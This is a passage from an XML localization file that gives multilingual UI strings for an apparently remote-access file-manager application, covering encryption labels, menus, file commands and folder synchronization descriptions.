<hu>Titkosítás: nincs</hu>
<pt-br>Criptografia: nenhuma</pt-br>
<nl>Codering: geen</nl>
</msg>
<msg name="KEYEXCHANGE">
<en>Key exchange: $1, $2 bits</en>
<de>Schlüsselaustausch: $1, $2 bits</de>
<es>Intercambio de teclas: $1, $2 bits</es>
<fr>Clé d'échange: $1, $2 bits</fr>
<it>Scambio chiave: $1, $2 bit</it>
<ru>Обмен ключами: $1, $2-разрядов</ru>
<ja>鍵の交換 :$1, $2 ビット</ja>
<zh>密钥交换:$1,$2 位</zh>
<ko>키 교환: $1, $2 비트</ko>
<en-gb>Key exchange: $1, $2 bits</en-gb>
<hu>Kulcs-csere: $1, $2 bit</hu>
<pt-br>Intercâmbio de chave: $1, $2 bits</pt-br>
<nl>Sleuteluitwisseling: $1, $2 bits</nl>
</msg>
<msg name="DATAENCRYPTION">
<en>Data encryption: $1, $2 bits</en>
<de>Datenverschlüsselung: $1, $2 bits</de>
<es>Cifrado de datos: $1, $2 bits</es>
<fr>Chiffrage de données : $1, $2 bits</fr>
<it>Crittografia dati: $1, $2 bit</it>
<ru>Шифрование данных: $1, $2-разрядов</ru>
<ja>データの暗号化 :$1, $2 ビット</ja>
<zh>数据加密:$1,$2 位</zh>
<ko>데이터 암호화: $1, $2 비트</ko>
<en-gb>Data encryption: $1, $2 bits</en-gb>
<hu>Adattitkosítás: $1, $2 bit</hu>
<pt-br>Criptografia de dados: $1, $2 bits</pt-br>
<nl>Gegevenscodering: $1, $2 bits</nl>
</msg>
<msg name="CERTTO">
<en>Certificate issued to computer: $1</en>
<de>Zertifikat wurde ausgestellt für Computer: $1</de>
<es>Certificado enviado al ordenador: $1</es>
<fr>Certificat délivré à l'ordinateur : $1</fr>
<it>Certificato rilasciato al computer: $1</it>
<ru>Сертификат, выданный компьютеру: $1</ru>
<ja>コンピュータに発行される証明書 : $1</ja>
<zh>颁发给计算机的证书:$1</zh>
<ko>컴퓨터에 발급된 인증서: $1</ko>
<en-gb>Certificate issued to computer: $1</en-gb>
<hu>Számítógépnek kiadott tanúsítvány: $1</hu>
<pt-br>Certificado emitido para o computador: $1</pt-br>
<nl>Certificaat verleend aan computer: $1</nl>
</msg>
<msg name="CERTBY">
<en>Certificate issued by: $1</en>
<de>Zertifikat wurde ausgestellt von: $1</de>
<es>Certificado enviado por: $1</es>
<fr>Le certificat délivré par : $1</fr>
<it>Certificato rilasciato da: $1</it>
<ru>Сертификат выдан: $1</ru>
<ja>証明書の発行元 $1</ja>
<zh>颁发证书者:$1</zh>
<ko>인증서 발급자: $1</ko>
<en-gb>Certificate issued by: $1</en-gb>
<hu>Tanúsítvány kiadója: $1</hu>
<pt-br>Certificado emitido por: $1</pt-br>
<nl>Certificaat verleend door: $1</nl>
</msg>
<msg name="SECURITY">
<en>Security</en>
<de>Sicherheit</de>
<es>Seguridad</es>
<fr>Sécurité</fr>
<it>Protezione</it>
<ru>Безопасность</ru>
<ja>セキュリティ</ja>
<zh>安全</zh>
<ko>보안</ko>
<en-gb>Security</en-gb>
<hu>Biztonság</hu>
<pt-br>Segurança</pt-br>
<nl>Beveiliging</nl>
</msg>
<msg name="SECURITY.LMIPRO">
<en>Security Settings</en>
<de>Sicherheitseinstellungen</de>
<es>Configuración de seguridad</es>
<fr>Paramètres de Sécurité</fr>
<it>Impostazioni di protezione</it>
<ru>Настройки безопасности</ru>
<ja>セキュリティ設定</ja>
<zh>安全设置</zh>
<ko>보안 설정</ko>
<en-gb>Security Settings</en-gb>
<hu>Biztonsági beállítások</hu>
<pt-br>Configurações de segurança</pt-br>
<nl>Beveiligingsinstellingen</nl>
</msg>
<!-- applet menubar -->
<cat name="MENU">
<msg name="FILE">
<en>File</en>
<de>Datei</de>
<es>Archivo</es>
<fr>Fichier</fr>
<it>File</it>
<ru>Файл</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>File</en-gb>
<hu>Fájl</hu>
<pt-br>Arquivo</pt-br>
<nl>Bestand</nl>
</msg>
<msg name="EDIT">
<en>Edit</en>
<de>Bearbeiten</de>
<es>Editar</es>
<fr>Edition</fr>
<it>Modifica</it>
<ru>Изменить</ru>
<ja>編集</ja>
<zh>编辑</zh>
<ko>편집</ko>
<en-gb>Edit</en-gb>
<hu>Szerkesztés</hu>
<pt-br>Editar</pt-br>
<nl>Bewerken</nl>
</msg>
<msg name="VIEW">
<en>View</en>
<de>Ansicht</de>
<es>Ver</es>
<fr>Affichage</fr>
<it>Visualizza</it>
<ru>Вид</ru>
<ja>表示</ja>
<zh>视图</zh>
<ko>보기</ko>
<en-gb>View</en-gb>
<hu>Nézet</hu>
<pt-br>Exibir</pt-br>
<nl>Beeld</nl>
</msg>
</cat>
<!-- toolbar button groups -->
<cat name="BTNG">
<msg name="NAVIGATE">
<en>Navigate:</en>
<de>Gehen zu:</de>
<es>Navegar:</es>
<fr>Navigation :</fr>
<it>Passa a:</it>
<ru>Навигация:</ru>
<ja>ナビゲーション :</ja>
<zh>导航:</zh>
<ko>탐색:</ko>
<en-gb>Navigate:</en-gb>
<hu>Navigálás:</hu>
<pt-br>Navegar:</pt-br>
<nl>Navigeren:</nl>
</msg>
<msg name="EDIT">
<en>Edit:</en>
<de>Bearbeiten:</de>
<es>Editar:</es>
<fr>Edition:</fr>
<it>Modifica:</it>
<ru>Изменить:</ru>
<ja>編集 :</ja>
<zh>编辑:</zh>
<ko>편집:</ko>
<en-gb>Edit:</en-gb>
<hu>Szerkesztés:</hu>
<pt-br>Editar:</pt-br>
<nl>Bewerken:</nl>
</msg>
<msg name="TRANSFER">
<en>Transfer:</en>
<de>Übertragen:</de>
<es>Transferir:</es>
<fr>Transfert:</fr>
<it>Trasferisci:</it>
<ru>Передать:</ru>
<ja>転送 :</ja>
<zh>传输:</zh>
<ko>전송:</ko>
<en-gb>Transfer:</en-gb>
<hu>Átvitel:</hu>
<pt-br>Transferir:</pt-br>
<nl>Overdragen:</nl>
</msg>
<msg name="SELECT">
<en>Select:</en>
<de>Wählen:</de>
<es>Seleccionar:</es>
<fr>Sélection:</fr>
<it>Seleziona:</it>
<ru>Выбрать:</ru>
<ja>選択 :</ja>
<zh>选择:</zh>
<ko>선택:</ko>
<en-gb>Select:</en-gb>
<hu>Választás:</hu>
<pt-br>Selecionar:</pt-br>
<nl>Selecteren:</nl>
</msg>
</cat>
<!-- Simplified toolbar buttons -->
<cat name="SFMBTN">
<msg name="MKDIR">
<en>New Folder</en>
<de>Neuer Ordner</de>
<es>Nueva carpeta</es>
<fr>Nouveau dossier</fr>
<it>Nuova cartella</it>
<ru>Создать папку</ru>
<ja>新しいフォルダ</ja>
<zh>新建文件夹</zh>
<ko>새 폴더</ko>
<en-gb>New Folder</en-gb>
<hu>Új mappa</hu>
<pt-br>Nova pasta</pt-br>
<nl>Nieuwe map</nl>
</msg>
<msg name="MOVE">
<en>Move</en>
<de>Verschieben</de>
<es>Mover</es>
<fr>Déplacer</fr>
<it>Sposta</it>
<ru>Переместить</ru>
<ja>移動</ja>
<zh>移动</zh>
<ko>이동</ko>
<en-gb>Move</en-gb>
<hu>Áthelyezés</hu>
<pt-br>Mover</pt-br>
<nl>Verplaatsen</nl>
</msg>
<msg name="COPY">
<en>Copy</en>
<de>Kopieren</de>
<es>Copiar</es>
<fr>Copier</fr>
<it>Copia</it>
<ru>Копировать</ru>
<ja>コピー</ja>
<zh>复制</zh>
<ko>복사</ko>
<en-gb>Copy</en-gb>
<hu>Másolás</hu>
<pt-br>Copiar</pt-br>
<nl>Kopiëren</nl>
</msg>
<msg name="RENAME">
<en>Rename</en>
<de>Umbenennen</de>
<es>Cambiar nombre</es>
<fr>Renommer</fr>
<it>Rinomina</it>
<ru>Переименовать</ru>
<ja>名前変更</ja>
<zh>重命名</zh>
<ko>이름 바꾸기</ko>
<en-gb>Rename</en-gb>
<hu>Átnevezés</hu>
<pt-br>Renomear</pt-br>
<nl>Naam wijzigen</nl>
</msg>
<msg name="DELETE">
<en>Delete</en>
<de>Löschen</de>
<es>Eliminar</es>
<fr>Supprimer</fr>
<it>Elimina</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>삭제</ko>
<en-gb>Delete</en-gb>
<hu>Törlés</hu>
<pt-br>Excluir</pt-br>
<nl>Verwijderen</nl>
</msg>
</cat>
<!-- command names -->
<cat name="CMD">
<msg name="REFRESH">
<en>Refresh</en>
<de>Aktualisieren</de>
<es>Actualizar</es>
<fr>Actualiser</fr>
<it>Aggiorna</it>
<ru>Обновить</ru>
<ja>更新</ja>
<zh>刷新</zh>
<ko>새로 고침</ko>
<en-gb>Refresh</en-gb>
<hu>Frissít</hu>
<pt-br>Atualizar</pt-br>
<nl>Vernieuwen</nl>
</msg>
<msg name="COPY">
<en>Copy</en>
<de>Kopieren</de>
<es>Copiar</es>
<fr>Copier</fr>
<it>Copia</it>
<ru>Копировать</ru>
<ja>コピー</ja>
<zh>复制</zh>
<ko>복사</ko>
<en-gb>Copy</en-gb>
<hu>Másolás</hu>
<pt-br>Copiar</pt-br>
<nl>Kopiëren</nl>
</msg>
<msg name="MOVE">
<en>Move</en>
<de>Verschieben</de>
<es>Mover</es>
<fr>Déplacer</fr>
<it>Sposta</it>
<ru>Переместить</ru>
<ja>移動</ja>
<zh>移动</zh>
<ko>이동</ko>
<en-gb>Move</en-gb>
<hu>Áthelyezés</hu>
<pt-br>Mover</pt-br>
<nl>Verplaatsen</nl>
</msg>
<msg name="EDIT">
<en>Edit</en>
<de>Bearbeiten</de>
<es>Editar</es>
<fr>Editer</fr>
<it>Modifica</it>
<ru>Изменить</ru>
<ja>編集</ja>
<zh>编辑</zh>
<ko>편집</ko>
<en-gb>Edit</en-gb>
<hu>Szerkesztés</hu>
<nl>Bewerken</nl>
</msg>
<msg name="RECYCLE">
<en>Delete to Recycle Bin</en>
<de>Löschen und Papierkorb verschieben</de>
<es>Eliminar en la Papelera de reciclaje</es>
<fr>Envoyer vers la corbeille</fr>
<it>Sposta nel Cestino</it>
<ru>Удалить в корзину</ru>
<ja>ごみ箱に移動する</ja>
<zh>删除以放入¡°回收站¡±</zh>
<ko>휴지통에 버림</ko>
<hu>Törlés Lomtárba</hu>
<pt-br>Mandar para a Lixeira</pt-br>
<nl>Verwijderen naar Prullenbak</nl>
</msg>
<msg name="TRASH">
<en>Delete to Trash</en>
<de>In Papierkorb verschieben</de>
<es>Trasladar a la Papelera</es>
<fr>Mettre à la corbeille</fr>
<it>Elimina</it>
<ru>Удалить в Корзину</ru>
<ja>ゴミ箱に移動する</ja>
<zh>删除至“回收站”</zh>
<ko>휴지통으로 삭제</ko>
<en-gb>Delete to Trash</en-gb>
<hu>Kukába helyezés</hu>
<pt-br>Excluir para a Lixeira</pt-br>
<nl>Delete to Trash (Verwijderen naar prullenbak)</nl>
</msg>
<msg name="DELETE">
<en>Delete</en>
<de>Löschen</de>
<es>Eliminar</es>
<fr>Supprimer</fr>
<it>Elimina</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>삭제</ko>
<en-gb>Delete</en-gb>
<hu>Törlés</hu>
<pt-br>Excluir</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="FORCEDELETE">
<en>Forced Delete</en>
<de>Automatisches Löschen</de>
<es>Eliminación forzada</es>
<fr>Forcer la suppression</fr>
<it>Eliminazione forzata</it>
<ru>Принудительное удаление </ru>
<ja>強制削除</ja>
<zh>强制删除</zh>
<ko>강제 삭제</ko>
<hu>Kényszerített törlés</hu>
<pt-br>Exclusão Forçada</pt-br>
<nl>Gedwongen verwijdering</nl>
</msg>
<msg name="DRIVELIST">
<en>Drive list</en>
<de>Laufwerksliste</de>
<es>Lista de unidades</es>
<fr>Liste des lecteurs</fr>
<it>Elenco unità</it>
<ru>Список дисков</ru>
<ja>ドライブ リスト</ja>
<zh>驱动器列表</zh>
<ko>드라이브 목록</ko>
<en-gb>Drive list</en-gb>
<hu>Meghajtólista</hu>
<pt-br>Lista de unidades</pt-br>
<nl>Lijst met stations</nl>
</msg>
<msg name="LDRIVESEL">
<en>Select left drive</en>
<de>Linkes Laufwerk auswählen</de>
<es>Seleccionar la unidad de la izquierda</es>
<fr>Sélectionner le lecteur gauche</fr>
<it>Seleziona unità sinistra</it>
<ru>Выбрать левый дисковод</ru>
<ja>左のドライブを選択する</ja>
<ko>왼쪽 드라이브 선택</ko>
<hu>Válassza ki a bal meghajtót</hu>
<pt-br>Selecionar unidade esquerda</pt-br>
<zh>选择左侧的驱动器</zh>
<nl>Station links selecteren</nl>
</msg>
<msg name="RDRIVESEL">
<en>Select right drive</en>
<de>Rechtes Laufwerk auswählen</de>
<es>Seleccionar la unidad de la derecha</es>
<fr>Sélectionner le lecteur droit</fr>
<it>Seleziona unità destra</it>
<ru>Выбрать правый дисковод</ru>
<ja>右のドライブを選択する</ja>
<ko>오른쪽 드라이브 선택</ko>
<hu>Válassza ki a jobb meghajtót</hu>
<pt-br>Selecionar unidade direita</pt-br>
<zh>选择右侧的驱动器</zh>
<nl>Station rechts selecteren</nl>
</msg>
<msg name="MKDIR">
<en>Create folder...</en>
<de>Order erstellen...</de>
<es>Crear carpeta...</es>
<fr>Nouveau dossier...</fr>
<it>Crea cartella...</it>
<ru>Создать папку...</ru>
<ja>フォルダの作成...</ja>
<zh>创建文件夹...</zh>
<ko>폴더 만들기...</ko>
<en-gb>Create folder...</en-gb>
<hu>Mappa létrehozása...</hu>
<pt-br>Criar pasta...</pt-br>
<nl>Map maken...</nl>
</msg>
<msg name="SELECT">
<en>Select files...</en>
<de>Dateien auswählen ...</de>
<es>Seleccionar archivos...</es>
<fr>Sélection de fichiers</fr>
<it>Seleziona file...</it>
<ru>Выбрать файлы...</ru>
<ja>ファイルの選択...</ja>
<zh>选择文件...</zh>
<ko>파일 선택...</ko>
<en-gb>Select files...</en-gb>
<hu>Fájlok kijelölése...</hu>
<pt-br>Selecionar arquivos...</pt-br>
<nl>Bestanden selecteren...</nl>
</msg>
<msg name="DESELECT">
<en>Unselect files...</en>
<de>Auswahl der Dateien aufheben ...</de>
<es>Deshacer selección de archivos...</es>
<fr>Déselection de fichiers...</fr>
<it>Deseleziona file...</it>
<ru>Отменить выделение файлы...</ru>
<ja>ファイルの選択解除...</ja>
<zh>取消选择文件...</zh>
<ko>파일 선택 취소...</ko>
<en-gb>Unselect files...</en-gb>
<hu>Fájlok kijelölésének megszüntetése...</hu>
<pt-br>Arquivos não selecionados...</pt-br>
<nl>Selectie van bestanden opheffen...</nl>
</msg>
<msg name="SELECT.ALL">
<en>Select all</en>
<de>Alles markieren</de>
<es>Seleccionar todos</es>
<fr>Tout sélectionner</fr>
<it>Seleziona tutto</it>
<ru>Выбрать все</ru>
<ja>すべて選択</ja>
<zh>全选</zh>
<ko>모두 선택</ko>
<en-gb>Select all</en-gb>
<hu>Összes kijelölése</hu>
<pt-br>Selecionar tudo</pt-br>
<nl>Alles selecteren</nl>
</msg>
<msg name="SELECT.NONE">
<en>Select none</en>
<de>Markierung aufheben</de>
<es>No seleccionar ninguno</es>
<fr>Tout désélectionner</fr>
<it>Deseleziona tutto</it>
<ru>Ничего не выбрать</ru>
<ja>すべて選択解除</ja>
<zh>全部不选</zh>
<ko>선택하지 않음</ko>
<en-gb>Select none</en-gb>
<hu>Nincs kijelölés</hu>
<pt-br>Selecionar nenhum</pt-br>
<nl>Niets selecteren</nl>
</msg>
<msg name="SELECT.INVERT">
<en>Invert selection</en>
<de>Markierung umkehren</de>
<es>Invertir selección</es>
<fr>Inverser la sélection</fr>
<it>Inverti selezione</it>
<ru>Обратить выделение</ru>
<ja>選択を反転</ja>
<zh>反向选择</zh>
<ko>선택 영역 반전</ko>
<en-gb>Invert selection</en-gb>
<hu>Kijelölés megfordítása</hu>
<pt-br>Inverter seleção</pt-br>
<nl>Selectie omkeren</nl>
</msg>
<msg name="PARENT">
<en>Up</en>
<de>Hoch</de>
<es>Arriba</es>
<fr>Dossier parent</fr>
<it>Su</it>
<ru>Вверх</ru>
<ja>上へ</ja>
<zh>向上</zh>
<ko>위로</ko>
<en-gb>Up</en-gb>
<hu>Fel</hu>
<pt-br>Para cima</pt-br>
<nl>Omhoog</nl>
</msg>
<msg name="CHANGE.DIR">
<en>Go to folder...</en>
<de>Gehe zu Ordner ...</de>
<es>Ir a la carpeta...</es>
<fr>Aller au dossier...</fr>
<it>Vai alla cartella...</it>
<ru>Перейти к папке...</ru>
<ja>フォルダに進む...</ja>
<zh>转至文件夹...</zh>
<ko>폴더로 이동...</ko>
<en-gb>Go to folder...</en-gb>
<hu>Ugrás a mappára...</hu>
<pt-br>Ir para pasta...</pt-br>
<nl>Ga naar map...</nl>
</msg>
<msg name="RENAME">
<en>Rename...</en>
<de>Umbenennen ...</de>
<es>Cambiar nombre...</es>
<fr>Renommer...</fr>
<it>Rinomina...</it>
<ru>Переименовать...</ru>
<ja>名前の変更...</ja>
<zh>重命名...</zh>
<ko>이름 바꾸기...</ko>
<en-gb>Rename...</en-gb>
<hu>Átnevezés...</hu>
<pt-br>Renomear...</pt-br>
<nl>Naam wijzigen...</nl>
</msg>
<msg name="SYNCHRONIZE">
<!-- see the comment at SYNCING.FILES for what "replication" means -->
<en>Replicate</en>
<de>Replizieren</de>
<es>Replicar</es>
<fr>Dupliquer</fr>
<it>Replica</it>
<ru>Реплицировать</ru>
<ja>レプリケーション</ja>
<zh>复制</zh>
<ko>복제</ko>
<en-gb>Replicate</en-gb>
<hu>Replikálás</hu>
<pt-br>Replicar</pt-br>
<nl>Repliceren</nl>
</msg>
<msg name="MERGE">
<!-- see the comment at MERGING.FILES for what "synchronization" means -->
<en>Synchronize current folders</en>
<de>Aktuelle Ordner synchronisieren</de>
<es>Sincronizar carpetas existentes</es>
<fr>Synchroniser les dossiers courants</fr>
<it>Sincronizza cartelle correnti</it>
<ru>Синхронизовать текущие папки</ru>
<ja>現在のフォルダを同期</ja>
<zh>同步当前文件夹</zh>
<ko>현재 폴더 동기화</ko>
<en-gb>Synchronise current folders</en-gb>
<hu>Aktuális mappák szinkronizálása</hu>
<pt-br>Sincronizar pastas atuais</pt-br>
<nl>Huidige mappen synchroniseren</nl>
</msg>
<msg name="VIEWLOG">
<en>Connection details...</en>
<de>Verbindungsdetails ...</de>
<es>Detalles de conexión...</es>
<fr>Details de la connexion...</fr>
<it>Dettagli connessione...</it>
<ru>Сведения о подключении...</ru>
<ja>接続の詳細...</ja>
<zh>连接详情...</zh>
<ko>연결 정보...</ko>
<en-gb>Connection details...</en-gb>
<hu>Kapcsolat adatai...</hu>
<pt-br>Detalhes da conexão...</pt-br>
<nl>Details voor verbinding...</nl>
</msg>
<msg name="EXIT">
<en>Exit</en>
<de>Beenden</de>
<es>Salir</es>
<fr>Quitter</fr>
<it>Esci</it>
<ru>Выход</ru>
<ja>終了</ja>
<zh>退出</zh>
<ko>끝내기</ko>
<en-gb>Exit</en-gb>
<hu>Kilépés</hu>
<pt-br>Sair</pt-br>
<nl>Afsluiten</nl>
</msg>
<msg name="SORT.NAME">
<en>Sort by name</en>
<de>Nach Namen sortieren</de>
<es>Organizar por nombre</es>
<fr>Trier par nom</fr>
<it>Ordina per nome</it>
<ru>Сортировать по имени</ru>
<ja>名前によるソート</ja>
<zh>按名称排序</zh>
<ko>이름순 정렬</ko>
<en-gb>Sort by name</en-gb>
<hu>Rendezés név szerint</hu>
<pt-br>Classificar por nome</pt-br>
<nl>Sorteren op naam</nl>
</msg>
<msg name="SORT.TYPE">
<en>Sort by type</en>
<de>Nach Typ sortieren</de>
<es>Ordenar por tipo</es>
<fr>Trier par type</fr>
<it>Ordina per tipo</it>
<ru>Сортировать по типу</ru>
<ja>種類によるソート</ja>
<ko>유형별 정렬</ko>
<hu>Rendezés típus szerint</hu>
<pt-br>Classificar por tipo</pt-br>
<zh>按类型排序</zh>
<nl>Sorteren op type</nl>
</msg>
<msg name="SORT.SIZE">
<en>Sort by size</en>
<de>Nach Größe sortieren</de>
<es>Organizar por tamaño</es>
<fr>Trier par taille</fr>
<it>Ordina per dimensione</it>
<ru>Сортировать по размеру</ru>
<ja>サイズによるソート</ja>
<zh>按大小排序</zh>
<ko>크기순 정렬</ko>
<en-gb>Sort by size</en-gb>
<hu>Rendezés méret szerint</hu>
<pt-br>Classificar por tamanho</pt-br>
<nl>Sorteren op grootte</nl>
</msg>
<msg name="SORT.DATE">
<en>Sort by date</en>
<de>Nach Datum sortieren</de>
<es>Organizar por fecha</es>
<fr>Trier par date</fr>
<it>Ordina per data</it>
<ru>Сортировать по дате</ru>
<ja>日付によるソート</ja>
<zh>按日期排序</zh>
<ko>날짜순 정렬</ko>
<en-gb>Sort by date</en-gb>
<hu>Rendezés dátum szerint</hu>
<pt-br>Classificar por data</pt-br>
<nl>Sorteren op datum</nl>
</msg>
<msg name="SHOW.ALLFOLDERS">
<en>Show folders for all users</en>
<de>Ordner für alle Benutzer anzeigen</de>
<es>Mostrar carpetas para todos los usuarios</es>
<fr>Afficher les dossiers pour tous les utilsateurs</fr>
<it>Mostra cartelle per tutti gli utenti</it>
<ru>Показывать папки для всех пользователей</ru>
<ja>すべてのユーザにフォルダを表示する</ja>
<zh>显示所有用户的文件夹</zh>
<ko>모든 사용자에게 폴더 표시</ko>
<en-gb>Show folders for all users</en-gb>
<hu>Az összes felhasználó mappáinak megjelenítése</hu>
<pt-br>Mostrar pastas para todos os usuários</pt-br>
<nl>Mappen voor alle gebruikers weergeven</nl>
</msg>
<msg name="SHOW.SYSTEM">
<en>Show system files</en>
<es>Mostrar archivos del sistema</es>
<fr>Afficher les fichiers systèmes</fr>
<de>Systemdateien anzeigen</de>
<it>Mostra file di sistema</it>
<ru>Показывать системные файлы</ru>
<ja>システム ファイルを表示</ja>
<zh>显示系统文件</zh>
<ko>시스템 파일 표시</ko>
<en-gb>Show system files</en-gb>
<hu>Rendszerfájlok megjelenítése</hu>
<pt-br>Mostrar arquivos de sistema</pt-br>
<nl>Systeembestanden weergeven</nl>
</msg>
<msg name="SHOW.HIDDEN">
<en>Show hidden files</en>
<es>Mostrar archivos ocultos</es>
<fr>Cacher les fichiers systèmes</fr>
<de>Ausgeblendete Dateien anzeigen</de>
<it>Mostra file nascosti</it>
<ru>Показывать скрытые файлы</ru>
<ja>隠しファイルを表示</ja>
<zh>显示隐藏文件</zh>
<ko>숨김 파일 표시</ko>
<en-gb>Show hidden files</en-gb>
<hu>Rejtett fájlok megjelenítése</hu>
<pt-br>Mostrar arquivos ocultos</pt-br>
<nl>Verborgen bestanden weergeven</nl>
</msg>
</cat>
<cat name="DESC">
<msg name="SYNCHRONIZE">
<en>Files and folders that do not exist in the destination folder are copied normally. Files that already exist in the destination folder will be differentially transferred from the source folder. If a destination folder contains a file or a folder that does not exist in the source, IT WILL BE DELETED.\\nUseful if you update the source folder and want to push those changes to the destination.</en>
<de>Dateien und Ordner, die im Zielordner nicht existieren, werden ganz normal kopiert. Dateien, die bereits existieren, werden unterschiedlich übertragen. Wenn der Zielordner bereits eine Datei oder einen Ordner enthält, der im Quellordner nicht existiert, WIRD ER GELÖSCHT.\\n
Sehr nützlich, wenn sie dem Quellordner aktualisieren und die Änderungen zum Zielordner übertragen wollen.</de>
<es>Los archivos y carpetas que no existan en la carpeta de destino se copian normalmente. Los archivos y carpetas que existan sólo en uno de los lados se copian normalmente. Si la carpeta de destino contiene un archivo o una carpeta que no existe en el de origen, SERÁ ELIMINADO. \\nResulta útil si actualiza la carpeta de origen y quiere reflejar los cambios en el de destino.</es>
<fr>Des dossiers et les fichiers qui n'existent pas dans la dossiers de destination sont copiés normalement. Des dossiers qui existent déjà dans la dossiers de destination seront différentiel transférés à partir de la chemise de source. Si une chemise de destination contient un dossier ou une chemise qui n'existe pas dans la source, CE SERA SUPPRIMÉE.\\nCeci peut s'avérer utile si vous mettez à jour la chemise de source et voulez pousser ces changements à la destination.</fr>
<it>I file e le cartelle non esistenti nella cartella di destinazione vengono copiati normalmente. I file già esistenti nella cartella di destinazione verranno trasferiti dalla cartella di origine in modo differenziato. Se la cartella di destinazione contiene un file o una cartella non esistente nell'origine, VERRÀ ELIMINATA.\\nÈ utile se si aggiorna la cartella di origine e si desidera estendere le modifiche alla cartella di destinazione.</it>
<ru>Файлы и папки, которых нет в папке назначения, копируются как обычно. Файлы, уже существующие в папке назначения, будут переноситься из исходной папки по-разному. Файлы или папки, которые имеются в папке назначения, но отсутствуют в исходной папке, БУДУТ УДАЛЕНЫ.\\nЭто полезно при обновлении исходной папки и необходимости переноса изменений в папку назначения.</ru>
<ja>移動先のフォルダに存在しないファイルおよびフォルダは、正常にコピーされます。移動先のフォルダに既に存在するファイルは、ソース フォルダから個別に転送されます。移動先のフォルダにソースにないファイルやフォルダがある場合、\\nそのフォルダは削除されてしまいます。ソース フォルダを更新し、その変更を移動先にも反映する場合に便利です。</ja>
<zh>通常会复制目标文件夹中不存在的文件和文件夹。目标文件夹中已存在的文件将从源文件夹中区别传输。如果目标文件夹中包含的文件或文件夹在源文件夹中不存在,系统将删除该文件或文件夹。\\n如果更新了源文件夹并要将这些更改延用至目标文件夹,此功能将很有用。</zh>
<ko>대상 폴더에 존재하지 않는 파일 및 폴더는 정상적으로 복사됩니다. 대상 폴더에 이미 존재하는 파일은 원본 폴더에서 다르게 전송됩니다. 대상 폴더가 원본에 존재하지 않는 파일이나 폴더를 포함할 경우, 해당 파일이나 폴더는 삭제됩니다.\\n원본 폴더를 업데이트한 후 변경 사항을 대상 폴더에 적용하려는 경우 유용합니다.</ko>
<en-gb>Files and folders that do not exist in the destination folder are copied normally. Files that already exist in the destination folder will be differentially transferred from the source folder. If a destination folder contains a file or a folder that does not exist in the source, IT WILL BE DELETED.\\nUseful if you update the source folder and want to carry those changes forward to the destination.</en-gb>
<hu>A célmappában nem létező fájlok és mappák másolása normál módon történik. Azok a fájlok, amelyek már léteznek a célmappában, differenciált módon kerülnek átvitelre a forrásmappából. Ha egy célmappa egy olyan fájlt, vagy mappát tartalmaz, amely a forrásban nincs meg, akkor TÖRLŐDNI FOG.\\nHasznos lehet, ha frissíti forrásmappát és ezeket a módosításokat a célhelyen érvényesíti.</hu>
<pt-br>Os arquivos e pastas que não existem na pasta de destino são copiados normalmente. Os arquivos que já existem na pasta de destino serão transferidos de forma diferenciada da pasta de origem. Se uma pasta de destino contiver um arquivo ou pasta que não exista na origem, ESTES SERÃO EXCLUÍDOS.\\n Útil se você atualizar a pasta de origem e desejar transmitir essas alterações para o destino.</pt-br>
<nl>Bestanden en mappen die niet in de doelmap aanwezig zijn, worden gewoon gekopieerd. Bestanden die reeds in de doelmap aanwezig zijn, worden van de bronmap overgedragen als er verschillen zijn. Als in een doelmap een bestand of map aanwezig is die niet op de doelcomputer staat, WORDT DEZE VERWIJDERD.\\nDeze optie is handig als u de bronmap wilt bijwerken en deze wijzigingen in de doelmap gedwongen wilt doorvoeren.</nl>
</msg>
<msg name="MERGE">
<en>Updates the current folders on the local and remote computer so that their contents are the same. Files and folders that exist only on one side are copied normally. If both folders contain one or more files that are different on the local and remote computers, the newer version will be differentially copied.\\nUseful if you need to keep two folders in sync.</en>
<de>Aktualisiert den aktuellen Ordner auf dem lokalen Computer und dem Remote-Computer, so dass beide Inhalte gleich sind. Dateien und Ordner, die nur auf einer Seite existieren, werden ganz normal kopiert. Wenn beide Ordner eine oder mehrere Dateien enthalten, die auf dem lokalen Computer und dem Remote-Computer unterschiedlich sind, wird die neuere Version differenziell kopiert.\\n
Sehr nützlich, wenn sie zwei Ordner abgleichen wollen.</de>
<es>Actualiza las carpetas actuales en el equipo local y remoto para que el contenido sea el mismo. Los archivos y carpetas que existan sólo en uno de los lados se copian normalmente. Si ambas carpetas contienen uno o más archivos que son diferentes en los equipos local y remoto, se copiará la versión más reciente de manera diferencial.\\nEsto resulta útil si necesita mantener sincronizadas dos carpetas.</es>
<fr>Met à jour les dossiers courantes sur l'ordinateur local et à distance de sorte que leur contenu soit identiques. Des dossiers et les dossiers qui existent seulement d'un côté sont copiés normalement. Si les deux dossiers contiennent un ou plusieurs dossiers qui sont différents sur les ordinateurs locaux et à distance, la version plus nouvelle sera différentiel copied.\\nCeci peut s'avérer utile si vous devez maintenir deux dossiers dans la synchro.</fr>
<it>Aggiorna le cartelle correnti sul computer locale e remoto in modo che il contenuto sia identico. I file e le cartelle esistenti solo su un computer vengono copiati normalmente. Se entrambe le cartelle contengono uno o più file che sono diversi nei computer locale e remoto, verrà copiata la versione più recente.\\nÈ utile se è necessario mantenere sincronizzate due cartelle.</it>
<ru>В результате этой операции обновляются текущие папки на локальном и удаленном компьютерах и их содержимое становится одинаковым. Файлы и папки, которые имеются только на одной стороне, копируются как обычно. Если обе папки содержат один или несколько файлов, которые различны на локальном и удаленном компьютерах, то будет копироваться более новая версия.\\nЭто полезно, если необходимо поддерживать синхронизацию двух папок.</ru>
<ja>それぞれの中身が同じになるように、ローカル コンピュータとリモート コンピュータにある現在のフォルダを更新します。どちらか一方にのみ存在するファイルおよびフォルダは、通常のようにコピーされます。両方のフォルダ内に、ローカル コンピュータとリモート コンピュータでそれぞれ異なるファイルが存在する場合、新しい方のバージョンが個別にコピーされます。\\n2 つのフォルダを常に同期しておく必要がある場合に便利です。</ja>
<zh>更新本地和远程计算机上的当前文件夹,以使它们的内容相同。通常复制仅在一端存在的文件和文件夹。如果本地和远程计算机中的文件夹包含一个或多个不同文件,则系统将区别复制较新版本。\\n如果需要保持两个文件夹同步,此功能将很有用。</zh>
